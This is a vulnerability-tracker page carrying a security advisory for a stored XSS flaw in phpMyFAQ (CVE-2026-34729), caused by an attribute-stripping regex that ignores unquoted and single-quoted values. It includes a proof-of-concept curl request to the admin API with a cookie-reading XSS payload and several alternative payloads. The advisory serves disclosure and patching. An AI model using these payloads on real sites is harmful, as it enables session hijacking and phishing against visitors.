Zero Day MonitorZDM
DashboardVulnerabilitiesTrendingZero-DaysNews
Login
ImpressumPrivacy Policy
Zero Day Monitor © 2026
900 articles · 101759 vulns · 36/41 feeds (7d)
← Back to list
6.1
CVE-2026-34729PATCHED
composer · phpmyfaq/phpmyfaq

phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

Description

### Summary The sanitization pipeline for FAQ content is: 1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `"`, `'`, `&` to HTML entities 2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters 3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes The `removeAttributes()` regex at line 174 only matches attributes with double-quoted values: ```php preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes); ``` This regex does NOT match: - Attributes with single quotes: `onerror='alert(1)'` - Attributes without quotes: `onerror=alert(1)` An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174 **Sanitization flow for FAQ question field:** `FaqController::create()` lines 110, 145-149: ```php $question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS); // ... ->setQuestion(Filter::removeAttributes(html_entity_decode( (string) $question, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` **Template rendering:** `faq.twig` line 36: ```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> ``` **How the bypass works:** 1. Attacker submits: `<img src=x onerror=alert(1)>` 2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `&lt;img src=x onerror=alert(1)&gt;` 3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>` 4. `preg_match_all('/[a-z]+=".+"/iU', ...)` runs: - The regex requires `="..."` (double quotes) - `onerror=alert(1)` has NO quotes → NOT matched - `src=x` has NO quotes → NOT matched - No attributes are found for removal 5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact) 6. Template renders with `|raw`: JavaScript executes in browser **Why double-quoted attributes are (partially) protected:** For `<img src="x" onerror="alert(1)">`: - The regex matches both `src="x"` and `onerror="alert(1)"` - `src` is in `$keep` → preserved - `onerror` is NOT in `$keep` → removed via `str_replace()` - Output: `<img src="x">` (safe) But this protection breaks with single quotes or no quotes. ### PoC **Step 1: Create FAQ with XSS payload (requires authenticated admin):** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=admin_session' \ -d '{ "data": { "pmf-csrf-token": "valid_csrf_token", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "test", "author": "test", "email": "test@test.com" } }' ``` **Step 2: XSS triggers on public FAQ page** Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS: ``` https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html ``` The FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`). **Alternative payloads:** ```html <img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)> ``` ### Impact - **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins. - **Session hijacking:** Steal session cookies of all users viewing the FAQ. - **Phishing:** Display fake login forms to steal credentials. - **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload. - **Malware distribution:** Redirect users to malicious sites. **Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Affected Products

VendorProductVersions
composerphpmyfaq/phpmyfaqcomposer/phpmyfaq/phpmyfaq: <= 4.1.0

References

  • https://github.com/advisories/GHSA-cv2g-8cj8-vgc7(advisory)
  • https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7
  • https://github.com/advisories/GHSA-cv2g-8cj8-vgc7
CVSS 3.16.1 MEDIUM
VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
CISA KEV❌ No
Actively exploited❌ No
Patch available
phpmyfaq/phpmyfaq@4.1.1
CWECWE-79
PublishedApr 1, 2026
Tags
GHSA-cv2g-8cj8-vgc7composer
Trending Score0
Source articles0
Independent0
Info Completeness0/14
Missing: cve_id, title, description, vendor, product, versions, cvss, epss, cwe, kev, exploit, patch, iocs, mitre_attack

Community Vote

0
Login to vote
0 upvotes0 downvotes
No votes yet

Related CVEs (5)

HIGHCVE-2026-34236
Auth0-PHP is a PHP SDK for Auth0 Authentication and Management APIs. From version 8.0.0 to before version 8.19.0, in applications built with the Auth0 PHP SDK, cookies are encrypted with insufficient
Trending: 26
MEDIUMCVE-2026-34974
phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation
MEDIUMCVE-2026-34973
phpMyFAQ has a LIKE Wildcard Injection in Search.php — Unescaped % and _ Metacharacters Enable Broad Content Disclosure
HIGHCVE-2026-34728
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
HIGHCVE-2026-28805
OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter

Pin to Dashboard

Verification

State: unverified
Confidence: 0%

Vulnerability Timeline

CVE Published
Apr 1, 2026
Patch Available
Apr 1, 2026
Discovered by ZDM
Apr 1, 2026